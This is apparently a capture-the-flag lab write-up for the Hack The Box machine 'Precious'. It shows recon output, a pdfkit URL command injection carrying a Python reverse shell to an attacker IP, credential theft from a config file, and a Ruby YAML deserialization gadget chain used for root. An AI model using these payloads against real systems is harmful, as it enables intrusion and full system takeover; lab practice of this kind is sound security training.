Precious
Easy - Linux
Recon
$ sudo nmap -T4 -sC -sV -O 10.10.11.189 -oN nmap.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 18:06 CST
Nmap scan report for 10.10.11.189
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/5%OT=22%CT=1%CU=39026%PV=Y%DS=2%DC=I%G=Y%TM=638E87D
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A)OPS(O1=M537ST11NW7%O2=M537ST11NW7%O
OS:3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST11NW7%O6=M537ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.25 seconds
10.10.11.189 precious.htb
$ nikto -h precious.htb
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 10.10.11.189
+ Target Hostname: precious.htb
+ Target Port: 80
+ Start Time: 2022-12-05 18:09:47 (GMT-6)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
+ Retrieved x-powered-by header: Phusion Passenger(R) 6.0.15
+ Uncommon header 'x-frame-options' found, with contents: SAMEORIGIN
+ Uncommon header 'x-xss-protection' found, with contents: 1; mode=block
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ Uncommon header 'x-runtime' found, with contents: Ruby
+ Uncommon header 'x-cascade' found, with contents: pass
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.18.0 + Phusion Passenger(R) 6.0.15' to 'nginx/1.18.0' which may suggest a WAF, load balancer or proxy is in place
Web Server
Heading on over to the web server, we see a pretty simple page. The service contains a text input which expects a URL, and a submit button. On submit, the service will attempt to load the URL and convert that web page to a PDF. Let's try it out.
<html>
<body>
<h1>Hello world</h1>
<p>Hi there</p>
</body>
</html>
$ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.10.11.189 - - [05/Dec/2022 18:16:14] "GET / HTTP/1.1" 200 -
Sure enough, it converted my simple HTML to a PDF. Let's dig at the PDF.
$ pdfinfo iksnt7830xg5adtacget78ne90kxk44d.pdf
Creator: Generated by pdfkit v0.8.6
Tagged: no
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 1
Encrypted: no
Page size: 612 x 792 pts (letter)
Page rot: 0
File size: 15785 bytes
Optimized: no
PDF version: 1.4
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.52",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
http://10.10.16.52/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.52",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
~/htb/labs/Precious $ nc -lvkp 4242
listening on [any] 4242 ...
connect to [10.10.16.52] from precious.htb [10.10.11.189] 42542
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
I'm in. Time to dig. There is another user named henry
and the user flag is in his home directory, but we can't access it. There wasn't much in ruby
's home directory, although looking through a hidden .bundle
directory, we find credentials for henry
in a config file. Huh. Alright.
$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:REDACTED"
$ su henry
Password:
$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
Nice. I'm in again. Let's grab the user flag and try our hand on privilege escalation.
Privilege Escalation
$ sudo -l
...
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
No SETENV
though, that's better. Let's check out that script.
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # our command to inject
method_id: :resolve
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
uid=0(root) gid=0(root) groups=0(root)
Thank you GitHub. Let's change that git_set
value to bash
to spawn a shell instead of calling id
.
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
root@precious:/home/henry# cat /root/root.txt
REDACTED
root@precious:/home/henry#
Another one done!
Last updated